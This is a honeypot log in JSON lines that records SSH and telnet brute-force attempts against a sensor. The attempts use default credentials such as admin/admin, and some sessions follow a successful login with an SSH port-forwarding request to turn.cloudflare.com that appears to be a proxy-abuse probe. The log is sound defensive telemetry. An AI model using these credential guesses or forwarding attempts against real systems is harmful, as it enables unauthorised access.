{"eventid":"cowrie.session.closed","duration":91.97283339500427,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:58.743704Z","src_ip":"152.42.224.71","session":"e94d72aa51af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.7533843517303467,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:00.614524Z","src_ip":"176.65.139.118","session":"272215ee5aa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":36108,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2a8908629b","protocol":"telnet","message":"New connection: 176.65.139.118:36108 (159.203.135.109:23) [session: 1e2a8908629b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:01.100746Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40318,"dst_ip":"159.203.135.109","dst_port":22,"session":"c115ccf0a791","protocol":"ssh","message":"New connection: 31.40.204.166:40318 (159.203.135.109:22) [session: c115ccf0a791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:03.182839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:03.192309Z","src_ip":"31.40.204.166","session":"c115ccf0a791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:03.320325Z","src_ip":"31.40.204.166","session":"c115ccf0a791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50272,"dst_ip":"10.17.0.5","dst_port":23,"session":"069efea9c711","protocol":"telnet","message":"New connection: 152.42.224.71:50272 (10.17.0.5:23) [session: 069efea9c711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:03.558447Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:03.891480Z","src_ip":"31.40.204.166","session":"c115ccf0a791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50278,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b0710d2b606","protocol":"telnet","message":"New connection: 152.42.224.71:50278 (10.17.0.5:23) [session: 1b0710d2b606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:04.573115Z"}
{"eventid":"cowrie.session.closed","duration":3.5652499198913574,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:04.665874Z","src_ip":"176.65.139.118","session":"1e2a8908629b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":36740,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f32c808d59a","protocol":"telnet","message":"New connection: 176.65.139.118:36740 (159.203.135.109:23) [session: 8f32c808d59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:04.851365Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:05.015560Z","src_ip":"31.40.204.166","session":"c115ccf0a791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.324416399002075,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:07.175612Z","src_ip":"176.65.139.118","session":"8f32c808d59a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":45206,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfadd786e0f2","protocol":"telnet","message":"New connection: 176.65.139.118:45206 (159.203.135.109:23) [session: cfadd786e0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:07.544763Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59184,"dst_ip":"10.17.0.5","dst_port":23,"session":"095107fe0167","protocol":"telnet","message":"New connection: 152.42.224.71:59184 (10.17.0.5:23) [session: 095107fe0167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:12.510273Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:12.804103Z","src_ip":"176.65.139.118","session":"cfadd786e0f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42470,"dst_ip":"159.203.135.109","dst_port":22,"session":"37333691a0c6","protocol":"ssh","message":"New connection: 31.40.204.166:42470 (159.203.135.109:22) [session: 37333691a0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:14.784528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:14.813409Z","src_ip":"31.40.204.166","session":"37333691a0c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:14.989143Z","src_ip":"31.40.204.166","session":"37333691a0c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.019861221313477,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:15.564495Z","src_ip":"176.65.139.118","session":"cfadd786e0f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":50952,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcfb8c187b9b","protocol":"telnet","message":"New connection: 176.65.139.118:50952 (159.203.135.109:23) [session: bcfb8c187b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:15.840498Z"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:16.320271Z","src_ip":"31.40.204.166","session":"37333691a0c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":42145,"dst_ip":"10.17.0.5","dst_port":22,"session":"56c1450b3d50","protocol":"ssh","message":"New connection: 179.176.210.17:42145 (10.17.0.5:22) [session: 56c1450b3d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:16.931861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:16.939907Z","src_ip":"179.176.210.17","session":"56c1450b3d50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:17.097372Z","src_ip":"179.176.210.17","session":"56c1450b3d50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak123","message":"login attempt [teamspeak/teamspeak123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:17.760767Z","src_ip":"179.176.210.17","session":"56c1450b3d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:17.898278Z","src_ip":"31.40.204.166","session":"37333691a0c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":43644,"dst_ip":"159.203.135.109","dst_port":22,"session":"4be03f642320","protocol":"ssh","message":"New connection: 45.148.10.121:43644 (159.203.135.109:22) [session: 4be03f642320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.165962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.171509Z","src_ip":"45.148.10.121","session":"4be03f642320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.258016Z","src_ip":"45.148.10.121","session":"4be03f642320","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.518626Z","src_ip":"45.148.10.121","session":"4be03f642320","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.607523Z","session":"4be03f642320","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.695893Z","src_ip":"45.148.10.121","session":"4be03f642320","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.704730Z","src_ip":"45.148.10.121","session":"4be03f642320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.795410Z","src_ip":"45.148.10.121","session":"4be03f642320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":43660,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e1b7db74a95","protocol":"ssh","message":"New connection: 45.148.10.121:43660 (159.203.135.109:22) [session: 6e1b7db74a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.873109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.878337Z","src_ip":"45.148.10.121","session":"6e1b7db74a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.921288Z","src_ip":"179.176.210.17","session":"56c1450b3d50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:18.962965Z","src_ip":"45.148.10.121","session":"6e1b7db74a95","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:19.216773Z","src_ip":"45.148.10.121","session":"6e1b7db74a95","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:19.304117Z","session":"6e1b7db74a95","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:19.398895Z","src_ip":"45.148.10.121","session":"6e1b7db74a95","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:19.402811Z","src_ip":"45.148.10.121","session":"6e1b7db74a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:19.492435Z","src_ip":"45.148.10.121","session":"6e1b7db74a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6928467750549316,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:19.533221Z","src_ip":"176.65.139.118","session":"bcfb8c187b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":57466,"dst_ip":"159.203.135.109","dst_port":23,"session":"eba40b3d403f","protocol":"telnet","message":"New connection: 176.65.139.118:57466 (159.203.135.109:23) [session: eba40b3d403f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:19.742378Z"}
{"eventid":"cowrie.session.closed","duration":39.946004152297974,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:21.326915Z","src_ip":"152.42.224.71","session":"a6b573e4c99f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.318221092224121,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:22.060298Z","src_ip":"176.65.139.118","session":"eba40b3d403f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57926,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac864ffeda5","protocol":"telnet","message":"New connection: 152.42.224.71:57926 (10.17.0.5:23) [session: 6ac864ffeda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:22.153782Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":39716,"dst_ip":"159.203.135.109","dst_port":23,"session":"4afb3de78f5f","protocol":"telnet","message":"New connection: 176.65.139.118:39716 (159.203.135.109:23) [session: 4afb3de78f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:22.395452Z"}
{"eventid":"cowrie.session.closed","duration":52.88200902938843,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:22.514784Z","src_ip":"152.42.224.71","session":"82c762ed28ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.861847162246704,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:23.324671Z","src_ip":"152.42.224.71","session":"cbbd5a49e537","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.253","src_port":19944,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed9110f4f5cf","protocol":"ssh","message":"New connection: 94.26.106.253:19944 (10.17.0.5:22) [session: ed9110f4f5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:24.275074Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:24.280861Z","src_ip":"94.26.106.253","session":"ed9110f4f5cf","protocol":"ssh"}
